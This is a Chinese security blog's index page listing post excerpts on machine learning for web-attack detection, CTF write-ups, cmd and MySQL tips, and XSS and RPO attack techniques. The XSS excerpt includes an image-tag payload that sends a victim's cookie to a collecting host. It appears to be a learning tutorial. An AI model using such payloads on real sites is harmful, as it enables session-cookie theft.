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2019年4月15日
web安全之机器学习入门——3.2 决策树与随机森林
摘要: 目录 简介 决策树简单用法 决策树检测P0P3爆破 决策树检测FTP爆破 随机森林检测FTP爆破 简介 决策树和随机森林算法是最常见的分类算法; 决策树,判断的逻辑很多时候和人的思维非常接近。 随机森林算法,利用多棵决策树对样本进行训练并预测的一种分类器,并且其输出的类别是由个别决策树输出的类别的众
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posted @ 2019-04-15 19:29 p0pl4r
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2019年4月13日
2019DDCTF web wp
该文被密码保护。
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posted @ 2019-04-13 15:28 p0pl4r
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2019年4月12日
2019西湖论剑web wp
摘要: 发在正文前 这应该是自己在安全圈摸爬滚打两年多以来第一次正规的ctf比赛。没解出flag,没截图,只提供了一些思路。 遥想往昔,初入大学,带着对PT的向往,一个人穿行在幽暗的图书馆,翻阅啃读一本本安全书籍(后来事实证明,纯属瞎折腾。在此也表达下对那些无师自通的大🐮深深的佩服之情),也从网上收集各种
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posted @ 2019-04-12 00:06 p0pl4r
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2019年4月8日
web安全之机器学习入门——3.1 KNN/k近邻
摘要: 目录 sklearn.neighbors.NearestNeighbors 参数/方法 基础用法 用于监督学习 检测异常操作(一) 检测异常操作(二) 检测rootkit 检测webshell sklearn.neighbors.NearestNeighbors 参数: 方法: 基础用法 用于监督学
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posted @ 2019-04-08 19:47 p0pl4r
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web安全之机器学习入门——2.机器学习概述
摘要: 目录 0 前置知识 什么是机器学习 机器学习的算法 机器学习首先要解决的两个问题 一些基本概念 数据集介绍 1 正文 数据提取 数字型 文本型 数据读取 0 前置知识 什么是机器学习 通过简单示例来理解什么是机器学习 机器学习的算法 属于监督式学习的算法有:回归模型,决策树,随机森林,K近邻算法,逻
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posted @ 2019-04-08 09:27 p0pl4r
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cmd下的一些小技巧
摘要: 切换盘符:[盘符]+: tips1: 在盘符A执行一条命令后的同时切换到盘符B:A:\>dir && B:(此处只能用&&或者&) tips2: 在盘符A执行一条命令后,切换到盘符B,同时在B下执行命令:A:\>dir && B: &&dir(第一处&&可换成&)
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posted @ 2019-04-08 07:42 p0pl4r
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MySQL
摘要: 数据库操作 表操作 字段操作 数据操作 数据查询 条件数据查询 统计函数
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posted @ 2019-04-08 07:42 p0pl4r
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CSP里的xss
摘要: 无CSP保护下的xss 1.直接嵌入型 <img src="192.168.81.137:80/xss.php?a=[cookie]"> 过滤较少时,优先考虑。触发方式比较直接,直接嵌入能够xss的js代码。 target端 /xx.html <!DOCTYPE html> <html> <head
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posted @ 2019-04-08 07:41 p0pl4r
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2019年4月5日
rpo攻击
摘要: 0 什么是RPO攻击? RPO(Relative Path Overwrite)相对路径覆盖,是一种新型攻击技术,最早由Gareth Heyes在其发表的文章中提出。主要是利用浏览器的一些特性和部分服务端的配置差异导致的漏洞,通过一些技巧,我们可以通过相对路径来引入其他的资源文件,以至于达成我们想要
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posted @ 2019-04-05 10:14 p0pl4r
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2019年4月3日
web安全之机器学习入门——1.环境搭建
摘要: 前置知识 算法和数据的辩证关系:算法和数据是机器学习解决实际问题不可或缺的两大因素。早期机器学习十分依赖特征提取,随着发展,人们发现通过增加训练数据量,让机器从大量基础特征中可以自动关联出潜在关系,自动学习出更高级的特征; 深度学习框架:paddle(百度开源),tensorflow(谷歌团队开发维
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posted @ 2019-04-03 21:29 p0pl4r
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